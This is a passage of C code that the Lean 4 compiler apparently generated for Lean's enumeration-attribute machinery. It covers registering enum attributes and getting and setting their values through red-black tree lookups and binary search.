lean_object* x_11; lean_object* x_12; lean_object* x_13; lean_object* x_14; lean_object* x_15; lean_object* x_16; lean_object* x_17; lean_object* x_18; lean_object* x_19;
x_11 = lean_ctor_get(x_5, 1);
x_12 = lean_ctor_get(x_5, 0);
lean_dec(x_12);
x_13 = lean_ctor_get(x_8, 0);
lean_inc(x_13);
lean_dec(x_8);
x_14 = lean_ctor_get(x_9, 0);
lean_inc(x_14);
x_15 = lean_ctor_get(x_9, 1);
lean_inc(x_15);
lean_dec(x_9);
lean_inc(x_13);
lean_inc(x_3);
x_16 = lean_alloc_ctor(0, 3, 1);
lean_ctor_set(x_16, 0, x_3);
lean_ctor_set(x_16, 1, x_13);
lean_ctor_set(x_16, 2, x_14);
lean_ctor_set_uint8(x_16, sizeof(void*)*3, x_2);
lean_inc(x_4);
lean_inc(x_1);
x_17 = lean_alloc_closure((void*)(l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg___lambda__3___boxed), 10, 4);
lean_closure_set(x_17, 0, x_1);
lean_closure_set(x_17, 1, x_15);
lean_closure_set(x_17, 2, x_4);
lean_closure_set(x_17, 3, x_13);
x_18 = l_Lean_registerTagAttribute___closed__6;
x_19 = lean_alloc_ctor(0, 3, 0);
lean_ctor_set(x_19, 0, x_16);
lean_ctor_set(x_19, 1, x_17);
lean_ctor_set(x_19, 2, x_18);
lean_ctor_set(x_5, 1, x_6);
lean_ctor_set(x_5, 0, x_19);
{
lean_object* _tmp_4 = x_11;
lean_object* _tmp_5 = x_5;
x_5 = _tmp_4;
x_6 = _tmp_5;
}
goto _start;
}
else
{
lean_object* x_21; lean_object* x_22; lean_object* x_23; lean_object* x_24; lean_object* x_25; lean_object* x_26; lean_object* x_27; lean_object* x_28; lean_object* x_29;
x_21 = lean_ctor_get(x_5, 1);
lean_inc(x_21);
lean_dec(x_5);
x_22 = lean_ctor_get(x_8, 0);
lean_inc(x_22);
lean_dec(x_8);
x_23 = lean_ctor_get(x_9, 0);
lean_inc(x_23);
x_24 = lean_ctor_get(x_9, 1);
lean_inc(x_24);
lean_dec(x_9);
lean_inc(x_22);
lean_inc(x_3);
x_25 = lean_alloc_ctor(0, 3, 1);
lean_ctor_set(x_25, 0, x_3);
lean_ctor_set(x_25, 1, x_22);
lean_ctor_set(x_25, 2, x_23);
lean_ctor_set_uint8(x_25, sizeof(void*)*3, x_2);
lean_inc(x_4);
lean_inc(x_1);
x_26 = lean_alloc_closure((void*)(l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg___lambda__3___boxed), 10, 4);
lean_closure_set(x_26, 0, x_1);
lean_closure_set(x_26, 1, x_24);
lean_closure_set(x_26, 2, x_4);
lean_closure_set(x_26, 3, x_22);
x_27 = l_Lean_registerTagAttribute___closed__6;
x_28 = lean_alloc_ctor(0, 3, 0);
lean_ctor_set(x_28, 0, x_25);
lean_ctor_set(x_28, 1, x_26);
lean_ctor_set(x_28, 2, x_27);
x_29 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_29, 0, x_28);
lean_ctor_set(x_29, 1, x_6);
x_5 = x_21;
x_6 = x_29;
goto _start;
}
}
}
}
LEAN_EXPORT lean_object* l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = lean_alloc_closure((void*)(l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg___boxed), 6, 0);
return x_2;
}
}
LEAN_EXPORT lean_object* l_List_forM___at_Lean_registerEnumAttributes___spec__4(lean_object* x_1, lean_object* x_2) {
_start:
{
if (lean_obj_tag(x_1) == 0)
{
lean_object* x_3; lean_object* x_4;
x_3 = lean_box(0);
x_4 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_4, 0, x_3);
lean_ctor_set(x_4, 1, x_2);
return x_4;
}
else
{
lean_object* x_5; lean_object* x_6; lean_object* x_7;
x_5 = lean_ctor_get(x_1, 0);
lean_inc(x_5);
x_6 = lean_ctor_get(x_1, 1);
lean_inc(x_6);
lean_dec(x_1);
x_7 = l_Lean_registerBuiltinAttribute(x_5, x_2);
if (lean_obj_tag(x_7) == 0)
{
lean_object* x_8;
x_8 = lean_ctor_get(x_7, 1);
lean_inc(x_8);
lean_dec(x_7);
x_1 = x_6;
x_2 = x_8;
goto _start;
}
else
{
uint8_t x_10;
lean_dec(x_6);
x_10 = !lean_is_exclusive(x_7);
if (x_10 == 0)
{
return x_7;
}
else
{
lean_object* x_11; lean_object* x_12; lean_object* x_13;
x_11 = lean_ctor_get(x_7, 0);
x_12 = lean_ctor_get(x_7, 1);
lean_inc(x_12);
lean_inc(x_11);
lean_dec(x_7);
x_13 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_13, 0, x_11);
lean_ctor_set(x_13, 1, x_12);
return x_13;
}
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_registerEnumAttributes___rarg___lambda__1(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
x_5 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_5, 0, x_1);
lean_ctor_set(x_5, 1, x_4);
return x_5;
}
}
LEAN_EXPORT lean_object* l_Lean_registerEnumAttributes___rarg___lambda__2(lean_object* x_1) {
_start:
{
lean_object* x_2; lean_object* x_3; lean_object* x_4; lean_object* x_5; lean_object* x_6; lean_object* x_7; lean_object* x_8;
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__6;
x_3 = l_Lean_RBNode_fold___at_Lean_registerEnumAttributes___spec__1___rarg(x_2, x_1);
lean_dec(x_1);
x_4 = lean_array_get_size(x_3);
x_5 = lean_unsigned_to_nat(1u);
x_6 = lean_nat_sub(x_4, x_5);
lean_dec(x_4);
x_7 = lean_unsigned_to_nat(0u);
x_8 = l_Array_qsort_sort___at_Lean_registerEnumAttributes___spec__2___rarg(x_3, x_7, x_6);
lean_dec(x_6);
return x_8;
}
}
static lean_object* _init_l_Lean_registerEnumAttributes___rarg___lambda__3___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("enumeration attribute extension", 31);
return x_1;
}
}
static lean_object* _init_l_Lean_registerEnumAttributes___rarg___lambda__3___closed__2() {
_start:
{
lean_object* x_1; lean_object* x_2;
x_1 = l_Lean_registerEnumAttributes___rarg___lambda__3___closed__1;
x_2 = lean_alloc_ctor(3, 1, 0);
lean_ctor_set(x_2, 0, x_1);
return x_2;
}
}
static lean_object* _init_l_Lean_registerEnumAttributes___rarg___lambda__3___closed__3() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = l_Lean_registerEnumAttributes___rarg___lambda__3___closed__2;
x_2 = lean_box(1);
x_3 = lean_alloc_ctor(5, 2, 0);
lean_ctor_set(x_3, 0, x_1);
lean_ctor_set(x_3, 1, x_2);
return x_3;
}
}
static lean_object* _init_l_Lean_registerEnumAttributes___rarg___lambda__3___closed__4() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = l_Lean_registerEnumAttributes___rarg___lambda__3___closed__3;
x_2 = l_Lean_registerTagAttribute___lambda__4___closed__5;
x_3 = lean_alloc_ctor(5, 2, 0);
lean_ctor_set(x_3, 0, x_1);
lean_ctor_set(x_3, 1, x_2);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Lean_registerEnumAttributes___rarg___lambda__3(lean_object* x_1) {
_start:
{
lean_object* x_2; lean_object* x_3; lean_object* x_4; lean_object* x_5; lean_object* x_6; lean_object* x_7;
x_2 = lean_unsigned_to_nat(0u);
x_3 = l_Lean_RBNode_fold___at_Lean_RBMap_size___spec__1___rarg(x_2, x_1);
x_4 = l_Nat_repr(x_3);
x_5 = lean_alloc_ctor(3, 1, 0);
lean_ctor_set(x_5, 0, x_4);
x_6 = l_Lean_registerEnumAttributes___rarg___lambda__3___closed__4;
x_7 = lean_alloc_ctor(5, 2, 0);
lean_ctor_set(x_7, 0, x_6);
lean_ctor_set(x_7, 1, x_5);
return x_7;
}
}
static lean_object* _init_l_Lean_registerEnumAttributes___rarg___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_registerEnumAttributes___rarg___lambda__2), 1, 0);
return x_1;
}
}
static lean_object* _init_l_Lean_registerEnumAttributes___rarg___closed__2() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_registerEnumAttributes___rarg___lambda__3___boxed), 1, 0);
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_registerEnumAttributes___rarg(lean_object* x_1, lean_object* x_2, uint8_t x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
lean_object* x_6; lean_object* x_7; lean_object* x_8; lean_object* x_9; lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13;
x_6 = lean_box(0);
x_7 = lean_alloc_closure((void*)(l_Lean_registerEnumAttributes___rarg___lambda__1___boxed), 4, 1);
lean_closure_set(x_7, 0, x_6);
x_8 = l_Lean_registerParametricAttribute___rarg___closed__1;
x_9 = l_Lean_registerParametricAttribute___rarg___closed__2;
x_10 = l_Lean_registerEnumAttributes___rarg___closed__1;
x_11 = l_Lean_registerEnumAttributes___rarg___closed__2;
lean_inc(x_4);
x_12 = lean_alloc_ctor(0, 6, 0);
lean_ctor_set(x_12, 0, x_4);
lean_ctor_set(x_12, 1, x_8);
lean_ctor_set(x_12, 2, x_7);
lean_ctor_set(x_12, 3, x_9);
lean_ctor_set(x_12, 4, x_10);
lean_ctor_set(x_12, 5, x_11);
x_13 = l_Lean_registerPersistentEnvExtensionUnsafe___rarg(x_12, x_5);
if (lean_obj_tag(x_13) == 0)
{
lean_object* x_14; lean_object* x_15; lean_object* x_16; lean_object* x_17; lean_object* x_18;
x_14 = lean_ctor_get(x_13, 0);
lean_inc(x_14);
x_15 = lean_ctor_get(x_13, 1);
lean_inc(x_15);
lean_dec(x_13);
x_16 = lean_box(0);
lean_inc(x_14);
x_17 = l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg(x_2, x_3, x_4, x_14, x_1, x_16);
lean_inc(x_17);
x_18 = l_List_forM___at_Lean_registerEnumAttributes___spec__4(x_17, x_15);
if (lean_obj_tag(x_18) == 0)
{
uint8_t x_19;
x_19 = !lean_is_exclusive(x_18);
if (x_19 == 0)
{
lean_object* x_20; lean_object* x_21;
x_20 = lean_ctor_get(x_18, 0);
lean_dec(x_20);
x_21 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_21, 0, x_17);
lean_ctor_set(x_21, 1, x_14);
lean_ctor_set(x_18, 0, x_21);
return x_18;
}
else
{
lean_object* x_22; lean_object* x_23; lean_object* x_24;
x_22 = lean_ctor_get(x_18, 1);
lean_inc(x_22);
lean_dec(x_18);
x_23 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_23, 0, x_17);
lean_ctor_set(x_23, 1, x_14);
x_24 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_24, 0, x_23);
lean_ctor_set(x_24, 1, x_22);
return x_24;
}
}
else
{
uint8_t x_25;
lean_dec(x_17);
lean_dec(x_14);
x_25 = !lean_is_exclusive(x_18);
if (x_25 == 0)
{
return x_18;
}
else
{
lean_object* x_26; lean_object* x_27; lean_object* x_28;
x_26 = lean_ctor_get(x_18, 0);
x_27 = lean_ctor_get(x_18, 1);
lean_inc(x_27);
lean_inc(x_26);
lean_dec(x_18);
x_28 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_28, 0, x_26);
lean_ctor_set(x_28, 1, x_27);
return x_28;
}
}
}
else
{
uint8_t x_29;
lean_dec(x_4);
lean_dec(x_2);
lean_dec(x_1);
x_29 = !lean_is_exclusive(x_13);
if (x_29 == 0)
{
return x_13;
}
else
{
lean_object* x_30; lean_object* x_31; lean_object* x_32;
x_30 = lean_ctor_get(x_13, 0);
x_31 = lean_ctor_get(x_13, 1);
lean_inc(x_31);
lean_inc(x_30);
lean_dec(x_13);
x_32 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_32, 0, x_30);
lean_ctor_set(x_32, 1, x_31);
return x_32;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_registerEnumAttributes(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3;
x_3 = lean_alloc_closure((void*)(l_Lean_registerEnumAttributes___rarg___boxed), 5, 0);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Lean_RBNode_fold___at_Lean_registerEnumAttributes___spec__1___rarg___boxed(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3;
x_3 = l_Lean_RBNode_fold___at_Lean_registerEnumAttributes___spec__1___rarg(x_1, x_2);
lean_dec(x_2);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Array_qsort_sort___at_Lean_registerEnumAttributes___spec__2___rarg___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4;
x_4 = l_Array_qsort_sort___at_Lean_registerEnumAttributes___spec__2___rarg(x_1, x_2, x_3);
lean_dec(x_3);
return x_4;
}
}
LEAN_EXPORT lean_object* l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg___lambda__1___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6, lean_object* x_7, lean_object* x_8) {
_start:
{
lean_object* x_9;
x_9 = l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg___lambda__1(x_1, x_2, x_3, x_4, x_5, x_6, x_7, x_8);
lean_dec(x_5);
return x_9;
}
}
LEAN_EXPORT lean_object* l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg___lambda__3___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6, lean_object* x_7, lean_object* x_8, lean_object* x_9, lean_object* x_10) {
_start:
{
uint8_t x_11; lean_object* x_12;
x_11 = lean_unbox(x_7);
lean_dec(x_7);
x_12 = l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg___lambda__3(x_1, x_2, x_3, x_4, x_5, x_6, x_11, x_8, x_9, x_10);
return x_12;
}
}
LEAN_EXPORT lean_object* l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6) {
_start:
{
uint8_t x_7; lean_object* x_8;
x_7 = lean_unbox(x_2);
lean_dec(x_2);
x_8 = l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg(x_1, x_7, x_3, x_4, x_5, x_6);
return x_8;
}
}
LEAN_EXPORT lean_object* l_Lean_registerEnumAttributes___rarg___lambda__1___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
x_5 = l_Lean_registerEnumAttributes___rarg___lambda__1(x_1, x_2, x_3, x_4);
lean_dec(x_3);
lean_dec(x_2);
return x_5;
}
}
LEAN_EXPORT lean_object* l_Lean_registerEnumAttributes___rarg___lambda__3___boxed(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = l_Lean_registerEnumAttributes___rarg___lambda__3(x_1);
lean_dec(x_1);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_registerEnumAttributes___rarg___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
uint8_t x_6; lean_object* x_7;
x_6 = lean_unbox(x_3);
lean_dec(x_3);
x_7 = l_Lean_registerEnumAttributes___rarg(x_1, x_2, x_6, x_4, x_5);
return x_7;
}
}
LEAN_EXPORT lean_object* l_Lean_registerEnumAttributes___boxed(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3;
x_3 = l_Lean_registerEnumAttributes(x_1, x_2);
lean_dec(x_2);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_EnumAttributes_getValue___spec__1___rarg(lean_object* x_1, lean_object* x_2) {
_start:
{
if (lean_obj_tag(x_1) == 0)
{
lean_object* x_3;
x_3 = lean_box(0);
return x_3;
}
else
{
lean_object* x_4; lean_object* x_5; lean_object* x_6; lean_object* x_7; uint8_t x_8;
x_4 = lean_ctor_get(x_1, 0);
x_5 = lean_ctor_get(x_1, 1);
x_6 = lean_ctor_get(x_1, 2);
x_7 = lean_ctor_get(x_1, 3);
x_8 = l_Lean_Name_quickCmp(x_2, x_5);
switch (x_8) {
case 0:
{
x_1 = x_4;
goto _start;
}
case 1:
{
lean_object* x_10;
lean_inc(x_6);
x_10 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_10, 0, x_6);
return x_10;
}
default:
{
x_1 = x_7;
goto _start;
}
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_EnumAttributes_getValue___spec__1(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = lean_alloc_closure((void*)(l_Lean_RBNode_find___at_Lean_EnumAttributes_getValue___spec__1___rarg___boxed), 2, 0);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Array_binSearchAux___at_Lean_EnumAttributes_getValue___spec__2___rarg(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
uint8_t x_6;
x_6 = lean_nat_dec_le(x_4, x_5);
if (x_6 == 0)
{
lean_object* x_7;
lean_dec(x_5);
lean_dec(x_4);
lean_dec(x_3);
x_7 = lean_box(0);
return x_7;
}
else
{
lean_object* x_8; lean_object* x_9; lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13; uint8_t x_14;
x_8 = lean_nat_add(x_4, x_5);
x_9 = lean_unsigned_to_nat(2u);
x_10 = lean_nat_div(x_8, x_9);
lean_dec(x_8);
lean_inc(x_3);
x_11 = lean_array_get(x_3, x_2, x_10);
x_12 = lean_ctor_get(x_11, 0);
lean_inc(x_12);
x_13 = lean_ctor_get(x_3, 0);
lean_inc(x_13);
x_14 = l_Lean_Name_quickLt(x_12, x_13);
if (x_14 == 0)
{
uint8_t x_15;
lean_dec(x_5);
x_15 = l_Lean_Name_quickLt(x_13, x_12);
lean_dec(x_12);
lean_dec(x_13);
if (x_15 == 0)
{
lean_object* x_16;
lean_dec(x_10);
lean_dec(x_4);
lean_dec(x_3);
x_16 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_16, 0, x_11);
return x_16;
}
else
{
lean_object* x_17; uint8_t x_18;
lean_dec(x_11);
x_17 = lean_unsigned_to_nat(0u);
x_18 = lean_nat_dec_eq(x_10, x_17);
if (x_18 == 0)
{
lean_object* x_19; lean_object* x_20;
x_19 = lean_unsigned_to_nat(1u);
x_20 = lean_nat_sub(x_10, x_19);
lean_dec(x_10);
x_5 = x_20;
goto _start;
}
else
{
lean_object* x_22;
lean_dec(x_10);
lean_dec(x_4);
lean_dec(x_3);
x_22 = lean_box(0);
return x_22;
}
}
}
else
{
lean_object* x_23; lean_object* x_24;
lean_dec(x_13);
lean_dec(x_12);
lean_dec(x_11);
lean_dec(x_4);
x_23 = lean_unsigned_to_nat(1u);
x_24 = lean_nat_add(x_10, x_23);
lean_dec(x_10);
x_4 = x_24;
goto _start;
}
}
}
}
LEAN_EXPORT lean_object* l_Array_binSearchAux___at_Lean_EnumAttributes_getValue___spec__2(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = lean_alloc_closure((void*)(l_Array_binSearchAux___at_Lean_EnumAttributes_getValue___spec__2___rarg___boxed), 5, 0);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_EnumAttributes_getValue___rarg(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
lean_inc(x_4);
lean_inc(x_3);
x_5 = l_Lean_Environment_getModuleIdxFor_x3f(x_3, x_4);
if (lean_obj_tag(x_5) == 0)
{
lean_object* x_6; lean_object* x_7; lean_object* x_8; lean_object* x_9;
lean_dec(x_1);
x_6 = lean_box(0);
x_7 = lean_ctor_get(x_2, 1);
lean_inc(x_7);
lean_dec(x_2);
x_8 = l_Lean_PersistentEnvExtension_getState___rarg(x_6, x_7, x_3);
lean_dec(x_3);
lean_dec(x_7);
x_9 = l_Lean_RBNode_find___at_Lean_EnumAttributes_getValue___spec__1___rarg(x_8, x_4);
lean_dec(x_4);
lean_dec(x_8);
return x_9;
}
else
{
lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13; lean_object* x_14; lean_object* x_15; lean_object* x_16; lean_object* x_17; lean_object* x_18; uint8_t x_19;
x_10 = lean_ctor_get(x_5, 0);
lean_inc(x_10);
lean_dec(x_5);
x_11 = lean_box(0);
x_12 = lean_ctor_get(x_2, 1);
lean_inc(x_12);
lean_dec(x_2);
x_13 = l_Lean_PersistentEnvExtension_getModuleEntries___rarg(x_11, x_12, x_3, x_10);
lean_dec(x_10);
lean_dec(x_3);
lean_dec(x_12);
x_14 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_14, 0, x_4);
lean_ctor_set(x_14, 1, x_1);
x_15 = lean_array_get_size(x_13);
x_16 = lean_unsigned_to_nat(1u);
x_17 = lean_nat_sub(x_15, x_16);
x_18 = lean_unsigned_to_nat(0u);
x_19 = lean_nat_dec_lt(x_18, x_15);
lean_dec(x_15);
if (x_19 == 0)
{
lean_object* x_20;
lean_dec(x_17);
lean_dec(x_14);
lean_dec(x_13);
x_20 = lean_box(0);
return x_20;
}
else
{
lean_object* x_21; lean_object* x_22;
x_21 = lean_box(0);
x_22 = l_Array_binSearchAux___at_Lean_EnumAttributes_getValue___spec__2___rarg(x_21, x_13, x_14, x_18, x_17);
lean_dec(x_13);
if (lean_obj_tag(x_22) == 0)
{
lean_object* x_23;
x_23 = lean_box(0);
return x_23;
}
else
{
uint8_t x_24;
x_24 = !lean_is_exclusive(x_22);
if (x_24 == 0)
{
lean_object* x_25; lean_object* x_26;
x_25 = lean_ctor_get(x_22, 0);
x_26 = lean_ctor_get(x_25, 1);
lean_inc(x_26);
lean_dec(x_25);
lean_ctor_set(x_22, 0, x_26);
return x_22;
}
else
{
lean_object* x_27; lean_object* x_28; lean_object* x_29;
x_27 = lean_ctor_get(x_22, 0);
lean_inc(x_27);
lean_dec(x_22);
x_28 = lean_ctor_get(x_27, 1);
lean_inc(x_28);
lean_dec(x_27);
x_29 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_29, 0, x_28);
return x_29;
}
}
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_EnumAttributes_getValue(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = lean_alloc_closure((void*)(l_Lean_EnumAttributes_getValue___rarg), 4, 0);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_EnumAttributes_getValue___spec__1___rarg___boxed(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3;
x_3 = l_Lean_RBNode_find___at_Lean_EnumAttributes_getValue___spec__1___rarg(x_1, x_2);
lean_dec(x_2);
lean_dec(x_1);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Array_binSearchAux___at_Lean_EnumAttributes_getValue___spec__2___rarg___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
lean_object* x_6;
x_6 = l_Array_binSearchAux___at_Lean_EnumAttributes_getValue___spec__2___rarg(x_1, x_2, x_3, x_4, x_5);
lean_dec(x_2);
lean_dec(x_1);
return x_6;
}
}
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_EnumAttributes_setValue___spec__1___rarg(lean_object* x_1, lean_object* x_2) {
_start:
{
if (lean_obj_tag(x_1) == 0)
{
lean_object* x_3;
x_3 = lean_box(0);
return x_3;
}
else
{
lean_object* x_4; lean_object* x_5; lean_object* x_6; lean_object* x_7; uint8_t x_8;
x_4 = lean_ctor_get(x_1, 0);
x_5 = lean_ctor_get(x_1, 1);
x_6 = lean_ctor_get(x_1, 2);
x_7 = lean_ctor_get(x_1, 3);
x_8 = l_Lean_Name_quickCmp(x_2, x_5);
switch (x_8) {
case 0:
{
x_1 = x_4;
goto _start;
}
case 1:
{
lean_object* x_10;
lean_inc(x_6);
x_10 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_10, 0, x_6);
return x_10;
}
default:
{
x_1 = x_7;
goto _start;
}
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_EnumAttributes_setValue___spec__1(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = lean_alloc_closure((void*)(l_Lean_RBNode_find___at_Lean_EnumAttributes_setValue___spec__1___rarg___boxed), 2, 0);
return x_2;
}
}
static lean_object* _init_l_Lean_EnumAttributes_setValue___rarg___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("'.setValue, attribute has already been set", 42);
return x_1;
}
}
static lean_object* _init_l_Lean_EnumAttributes_setValue___rarg___closed__2() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("'.setValue, declaration is in an imported module", 48);
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_EnumAttributes_setValue___rarg(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
lean_inc(x_3);
lean_inc(x_2);
x_5 = l_Lean_Environment_getModuleIdxFor_x3f(x_2, x_3);
if (lean_obj_tag(x_5) == 0)
{
lean_object* x_6; lean_object* x_7; lean_object* x_8; lean_object* x_9;
x_6 = lean_box(0);
x_7 = lean_ctor_get(x_1, 1);
lean_inc(x_7);
lean_dec(x_1);
x_8 = l_Lean_PersistentEnvExtension_getState___rarg(x_6, x_7, x_2);
x_9 = l_Lean_RBNode_find___at_Lean_EnumAttributes_setValue___spec__1___rarg(x_8, x_3);
lean_dec(x_8);
if (lean_obj_tag(x_9) == 0)
{
lean_object* x_10; lean_object* x_11; lean_object* x_12;
x_10 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_10, 0, x_3);
lean_ctor_set(x_10, 1, x_4);
x_11 = l_Lean_PersistentEnvExtension_addEntry___rarg(x_7, x_2, x_10);
x_12 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_12, 0, x_11);
return x_12;
}
else
{
lean_object* x_13; uint8_t x_14; lean_object* x_15; lean_object* x_16; lean_object* x_17; lean_object* x_18; lean_object* x_19; lean_object* x_20;
lean_dec(x_9);
lean_dec(x_4);
lean_dec(x_3);
lean_dec(x_2);
x_13 = lean_ctor_get(x_7, 1);
lean_inc(x_13);
lean_dec(x_7);
x_14 = 1;
x_15 = l_Lean_Name_toString(x_13, x_14);
x_16 = l_Lean_ParametricAttribute_setParam___rarg___closed__1;
x_17 = lean_string_append(x_16, x_15);
lean_dec(x_15);
x_18 = l_Lean_EnumAttributes_setValue___rarg___closed__1;
x_19 = lean_string_append(x_17, x_18);
x_20 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_20, 0, x_19);
return x_20;
}
}
else
{
lean_object* x_21; lean_object* x_22; uint8_t x_23; lean_object* x_24; lean_object* x_25; lean_object* x_26; lean_object* x_27; lean_object* x_28; lean_object* x_29;
lean_dec(x_5);
lean_dec(x_4);
lean_dec(x_3);
lean_dec(x_2);
x_21 = lean_ctor_get(x_1, 1);
lean_inc(x_21);
lean_dec(x_1);
x_22 = lean_ctor_get(x_21, 1);
lean_inc(x_22);
lean_dec(x_21);
x_23 = 1;
x_24 = l_Lean_Name_toString(x_22, x_23);
x_25 = l_Lean_ParametricAttribute_setParam___rarg___closed__1;
x_26 = lean_string_append(x_25, x_24);
lean_dec(x_24);
x_27 = l_Lean_EnumAttributes_setValue___rarg___closed__2;
x_28 = lean_string_append(x_26, x_27);
x_29 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_29, 0, x_28);
return x_29;
}
}
}
LEAN_EXPORT lean_object* l_Lean_EnumAttributes_setValue(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = lean_alloc_closure((void*)(l_Lean_EnumAttributes_setValue___rarg), 4, 0);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_EnumAttributes_setValue___spec__1___rarg___boxed(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3;
x_3 = l_Lean_RBNode_find___at_Lean_EnumAttributes_setValue___spec__1___rarg(x_1, x_2);
lean_dec(x_2);
lean_dec(x_1);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Lean_mkHashMap___at_Lean_initFn____x40_Lean_Attributes___hyg_3846____spec__1(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = l_Lean_mkHashMapImp___rarg(x_1);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_3846_(lean_object* x_1) {
_start:
{
lean_object* x_2; lean_object* x_3; lean_object* x_4; uint8_t x_5;
x_2 = lean_unsigned_to_nat(8u);
x_3 = l_Lean_mkHashMapImp___rarg(x_2);
x_4 = lean_st_mk_ref(x_3, x_1);
x_5 = !lean_is_exclusive(x_4);
if (x_5 == 0)
{
return x_4;
}
else
{
lean_object* x_6; lean_object* x_7; lean_object* x_8;
x_6 = lean_ctor_get(x_4, 0);
x_7 = lean_ctor_get(x_4, 1);
lean_inc(x_7);
lean_inc(x_6);
lean_dec(x_4);
x_8 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_8, 0, x_6);
lean_ctor_set(x_8, 1, x_7);
return x_8;
}
}
}
